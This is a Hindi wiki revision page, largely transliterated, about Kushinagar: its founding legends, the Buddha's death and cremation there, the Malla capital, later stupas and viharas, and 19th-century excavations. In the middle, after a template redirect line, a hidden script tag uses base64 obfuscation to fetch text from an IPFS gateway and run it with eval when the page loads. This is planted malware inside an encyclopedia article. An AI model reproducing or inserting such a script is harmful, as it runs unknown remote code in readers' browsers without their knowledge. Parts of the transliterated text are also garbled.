Difference between revisions of "कुशीनगर"
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*कुशीनगर [[बुद्ध]] के महापरिनिर्वाण का स्थान है। | *कुशीनगर [[बुद्ध]] के महापरिनिर्वाण का स्थान है। | ||
*पूर्वी उत्तर प्रदेश के गोरखपुर ज़िले से 51 किमी की दूरी पर स्थित है। | *पूर्वी उत्तर प्रदेश के गोरखपुर ज़िले से 51 किमी की दूरी पर स्थित है। | ||
| + | ==[[किंवदंती]]== | ||
*किंवदंती के अनुसार यह नगर श्री [[राम|रामचन्द्र]] जी के ज्येष्ठ पुत्र [[लव कुश|कुश]] द्वारा बसाया गया था। | *किंवदंती के अनुसार यह नगर श्री [[राम|रामचन्द्र]] जी के ज्येष्ठ पुत्र [[लव कुश|कुश]] द्वारा बसाया गया था। | ||
| − | + | बौद्ध ग्रंथ महावंश<ref>महावंश2,6</ref> में कुशीनगर का नाम इसी कारण कुशावती भी कहा गया है। [[बौद्ध]]काल में यही नाम कुशीनगर या [[पालि भाषा|पाली]] में कुसीनारा हो गया। | |
*एक अन्य बौद्ध किंवदंती के अनुसार [[तक्षशिला]] के [[इक्ष्वाकु]] वंशी राजा तालेश्वर का पुत्र तक्षशिला से अपनी राजधानी हटाकर कुशीनगर ले आया था। उसकी वंश परम्परा में बारहवें राजा सुदिन्न के समय तक यहाँ राजधानी रही। इनके बीच में कुश और महादर्शन नामक दो प्रतापी राजा हुए जिनका उल्लेख [[गौतम बुद्ध]] ने<ref>महादर्शनसुत्त के अनुसार</ref> किया था। | *एक अन्य बौद्ध किंवदंती के अनुसार [[तक्षशिला]] के [[इक्ष्वाकु]] वंशी राजा तालेश्वर का पुत्र तक्षशिला से अपनी राजधानी हटाकर कुशीनगर ले आया था। उसकी वंश परम्परा में बारहवें राजा सुदिन्न के समय तक यहाँ राजधानी रही। इनके बीच में कुश और महादर्शन नामक दो प्रतापी राजा हुए जिनका उल्लेख [[गौतम बुद्ध]] ने<ref>महादर्शनसुत्त के अनुसार</ref> किया था। | ||
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==संबंधित लेख== | ==संबंधित लेख== | ||
| − | {{बौद्ध धर्म}} | + | {{जनश्रुति}}{{बौद्ध धर्म}} |
{{उत्तर प्रदेश}} | {{उत्तर प्रदेश}} | ||
{{उत्तर प्रदेश के नगर}} | {{उत्तर प्रदेश के नगर}} | ||
Revision as of 18:06, 8 October 2013
[[chitr:Kushinagar.jpg|buddh
Budha|thumb|250px]]
- kushinagar buddh ke mahaparinirvan ka sthan hai.
- poorvi uttar pradesh ke gorakhapur zile se 51 kimi ki doori par sthit hai.
kianvadanti
- kianvadanti ke anusar yah nagar shri ramachandr ji ke jyeshth putr kush dvara basaya gaya tha.
bauddh granth mahavansh[1] mean kushinagar ka nam isi karan kushavati bhi kaha gaya hai. bauddhkal mean yahi nam kushinagar ya pali mean kusinara ho gaya.
- ek any bauddh kianvadanti ke anusar takshashila ke ikshvaku vanshi raja taleshvar ka putr takshashila se apani rajadhani hatakar kushinagar le aya tha. usaki vansh parampara mean barahavean raja sudinn ke samay tak yahaan rajadhani rahi. inake bich mean kush aur mahadarshan namak do pratapi raja hue jinaka ullekh gautam buddh ne[2] kiya tha.
kusinara ke vaibhav ka varnan
- 'mahadarshanasutt' mean kusinara ke vaibhav ka varnan hai-'raja mahasudarshan ke samay mean kushavati poorv se pashchim tak barah yojan aur uttar se dakshin tak sat yojan thi. kushavati rajadhani samriddh aur sab prakar se sukh-shanti se bharapoor thi. jaise devataoan ki alakananda namak rajadhani samriddh hai vaise hi kushavati thi. yahaan din rat hathi, gho de, rath, bheri, mridang, git, jhaanjh, tal, shankh aur khao-pio-ke das shabd gooanjate rahate the. nagari sat parakotoan se ghiri thi. inamean char rango ke b de-b de dvar the. charoan or tal vrikshoan ki sat paktiyaan nagari ko ghere huee thian. is poorv buddhakalin vaibhav ki jhalak hamean kasiya mean khode gaye kuoan ke andar se pray: bis phut ki gaharaee par prapt hone vali bhittiyoan ke avasheshoan se milati hai.
- 'mahaparinirvanasutt' se jnat hota hai ki kushinagar bahut samay tak samast janbudvip ki rajadhani bhi rahi thi. buddh ke samay (chhathi shati ee. poo.) mean kushinagar mall janapad ki rajadhani thi. nagar ke uttari dvar se shal van tak ek rajamarg jata tha jisake donoan or shal vrikshoan ki panktiyaan thian. shal van se nagar mean pravesh karane ke lie poorv ki or jakar dakshin ki or mu dana p data tha. shal van se nagar ke dakshin dvar tak bina nagar mean pravesh kie hi ek sidhe marg se pahuancha ja sakata tha. poorv ki or hiranyavati nadi (rapti) bahati thi jisake tat par malloan ki abhishekashala thi. ise mukutabandhan chaity kahate the. nagar ke dakshin ki or bhi ek nadi thi jahaan kushinagar ka shmashan tha. buddh ne kushinagar ate samay iravati (achiravati, ajiravati ya rapti nadi) par ki thi.[3] nagar mean anek sundar s dakean thian. charoan dishaoan ke mukhy dvaroan se ane vale rajapath nagar ke madhy mean milate the. is chaurahe par mall ganarajy ka prasiddh santhagar tha jisaki vishalata isi se jani ja sakati hai ki isamean ganarajy ke sabhi sadasy ek sath baith sakate the. santhagar ke sabhi sadasy raja kahalate the aur bari-bari se shasan karate the. shesh vyapar adi karyoan mean vyast rahate the. kushinagar mean malloan ki ek susajjit sena rahati thi. is sena par malloan ko garv tha. isi ke bal par ve yuddh ke asthi-avasheshoan ko lene ke lie any logoan se l dane ke lie taiyar ho ge the. bhagavan buddh apane jivanakal mean kee bar kushinagar ae the. ve shal van bihar mean hi pray: thaharate the. unake samay mean hi yahaan ke nivasi bauddh ho ge the. inamean se anek bhikshu bhi ban ge the. dabbamall sthavir, ayushman sianh, yashadatt sthavir in mean prasiddh the. kosalaraj prasenajit ka senapati bandhulamall, dirghanarayan, rajamall, vajrapanimall aur viraangana mallika yahian ke nivasi the.
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bhagavan buddh ke upadesh
bhagavan buddh ki mrityu 483 ee. mean kusinara mean huee thi[4] 'tab shishy mandali ke sath chuand ke yahaan bhojan karane ke pashchat use upadesh dekar ve kushinagar ae.' unhoanne shal van ke upavan mean yugmashal vrikshoan ke niche chir samadhi li thi.[5] nirvan ke poorv kushinagar pahuanchane par tathagat kushinagar mean kamaloan se sushobhit ek t dag ke pas upavan mean thahare the.[6] aantim samay mean buddh ne kusinara ko bauddhoan ka mahatirth bataya tha. unhoanne yah bhi kaha tha ki pichhale janmoan mean chh: bar ve chakravarti raja hokar kushinagar mean rahe the.
buddh ke sharir ka dahakarm
buddh ke sharir ka dahakarm mukutabandhan chaity, vartaman ramadhar mean kiya gaya tha aur unaki asthiyaan nagar ke santhagar mean rakkhi gee thian[7]. bad mean uttar bharat ke ath rajaoan ne inhean apas mean baant liya tha. malloan ne mukutabandhan chaity ke sthan par ek mahan stoop banavaya tha. buddh ke pashchat kushinagar ko magadh-naresh ajatashatru ne jitakar magadh mean sammilit kar liya aur vahaan ka ganarajy sada ke lie samapt ho gaya kiantu bahut dinoan tak yahaan anek stoop aur vihar adi bane rahe aur door-door se bauddh yatriyoan ko akarshit karate rahe.
rajaoan dvara nirman
bauddh anushruti ke anusar maury samrat ashok[8] ne kushinagar ki yatra ki thi aur ek lakh mudra vyay karake yahaan ke chaity ka punarnirman karavaya tha. yuvanachvaang ke anusar ashok ne yahaan tin stoop aur do stanbh banavae the. tatpashchat kanishk (120 ee.) ne kushinagar mean kee viharoan ka nirman karavaya. gupt kal mean yahaan anek bauddh viharoan ka nirman hua tatha purane bhavanoan ka jirnoddhar bhi kiya gaya. gupt-rajaoan ki dharmik udarata ke karan bauddh sangh ko koee kasht n hua. kumar gupt (5vian shati ee. ka prarambh kal) ke samay mean haribal namak ek shreshthi ne parinirvan mandir mean buddh ki bis phut ooanchi pratima ki pratishthapana ki. chhathi v satavian ee. se kushinagar uja d hona prarambh ho gaya. harsh (606-647 ee.) ke shasanakal mean kushinagar nasht prayah ho gaya tha yadyapi yahaan bhikshoan ki sankhya paryapt thi. yuvanachvaang ke yatra-vritt se soochit hota hai ki kushinara, saranath se uttar-poorv 116 mil door tha. yuvan ke paravarti doosare chini yatri itsiang ke varnan se jnat hota hai ki usake samay mean kushinagar mean sarvastivadi bhikshuoan ka adhipaty tha. haihayavanshiy rajaoan ke samay unaka sthan mahayan ke anuyayi bhikshuoan ne le liya jo taantrik the. 16 vian shati mean musalamanoan ke akraman ke sath hi kushinagar ka itihas aandhakar ke gart mean lupt sa ho jata hai. sanbhavat: 13 vian shati mean musalamanoan ne yahaan ke sabhi viharoan tatha anyany bhavanoan ko to d-pho d dala tha.
khudaee
- 1876 ee. ki khudaee mean yahaan prachin kal mean hone vale ek bhayanak agnikadan ke chihn mile haian, jisase spasht hai ki musalamanoan ke akraman ke samay yahaan ke sab viharoan adi ko bhasm kar diya gaya tha. tibbat ka itihas lekhak taranath likhata hai ki is akraman ke samay mare jane se bache hue bhikshu bhag kar nepal, tibbat tatha any deshoan mean chale ge the. parivarti kal mean kushinagar ke astitv tak ka pata nahian milata.
- 1861 ee. mean jab janaral kaniangham ne khoj dvara is nagar ka pata lagaya to yahaan jangal hi jangal the. us samay is sthan ka nam matha kuanvar ka kot tha. kaniangham ne isi sthan ko parinirvan-bhoomisiddh kiya. unhoanne 'anurudhava' gram ko prachin kusinara aur 'ramadhar' ko mukutabandhan chaity bataya.
- 1876 ee. mean is sthan ko svachchh kiya gaya. purane tiloan ki khudaee mean mahaparinirvan stoop ke avashesh bhi prapt hue. tatpashchat kee guptakalin vihar tatha mandir bhi prakash mean lae ge. kalachuri nareshoan ke samay 12 vian shati ka ek vihar bhi yahaan se prapt hua tha.
- kushinagar ka sabase adhik prasiddh smarak buddh ki vishal pratima hai jo shayanavastha mean pradarshit hai (buddh ka nirvan dahini karavat par lete hue hua tha). isake oopar dhatu ki chadar j di hai.
- yahian buddh ki sadhe das phut ooanchi doosari moorti hai jise mathakuanvar kahate haian. isaki chauki par ek brahmi lekh aankit hai. mahaparinirvan stoop mean se ek tamrapatt nikala tha jis par brahmi lekh aankit hai- '(parini) varn chaity pamrapatt iti'. is lekh se tatha haribal dvara pratishthapit moorti par ke abhilekh deyadharmoyan mahavihare snamino haribalasy pratima cheyan ghatita dinen mathuren se kasiya ka kushinagar se abhijnan pramanit hota hai.
- pahale vianseant smith ka mat tha ki kushinagar nepal mean achiravati (rapti) aur hiranyavati (gandak ?) ke tat par basa hua tha.
- majoomadar-shastri kasiya ko bethadip manate haian jisaka varnan bauddh sahity mean hai[9], kintu ab kasiya ka kushinagar se abhijnan poornaroopen siddh ho chuka hai.
vithika
- chitr:Myanmar-Golden-Monastery.jpg
myaanmar svarn math
Myanmar Golden Monastery - chitr:Srilanka-Temple-Kushinagar.jpg
shrilanka mandir
Srilanka Temple - chitr:Nirvana-Temple-Kushinagar.jpg
nirvan mandir
Nirvana Temple - chitr:Buddha-SriLanka-Temple-Kushinagar.jpg
shrilanka mandir
Srilanka Temple - chitr:Buddha-Head-Kushinagar.jpg
buddh mastak
Buddha Head - chitr:Buddha-Kushinagar.jpg
buddh
Buddha - chitr:Kushinagar-1.jpg
buddh bhikshu dhyan sthali
- chitr:Statue-Buddha-Kushinagar-1.jpg
buddh moorti
Buddha Statue - chitr:Statue-Buddha-Kushinagar-2.jpg
buddh moorti
Buddha Statue - chitr:Buddhist-Centers-Map.jpg
uttar pradesh pramukh buddh keandr
Uttar Pradesh Prominent Buddhist Centres
tika tippani aur sandarbh
- ↑ mahavansh2,6
- ↑ mahadarshanasutt ke anusar
- ↑ buddh charit 25, 53
- ↑ buddh charit 25, 52
- ↑ buddh charit 25, 55
- ↑ buddh charit 25, 53
- ↑ mukutabandhan chaity mean mallarajaoan ka rajyabhishek hota tha. buddh charit 27, 70 ke anusar buddh ki mrityu ke pashchat 'nagadvar ke bahar akar malloan ne tathagat ke sharir ko lie hue hiranyavati nadi par ki aur mukut chaity ke niche chita banaee'
- ↑ mrityu 232 ee. poo.
- ↑ de. eansheant jyagrefi av iandiya, pri. 714
- aitihasik sthanavali | vijayendr kumar mathur | vaijnanik tatha takaniki shabdavali ayog | manav sansadhan vikas mantralay, bharat sarakar
sanbandhit lekh
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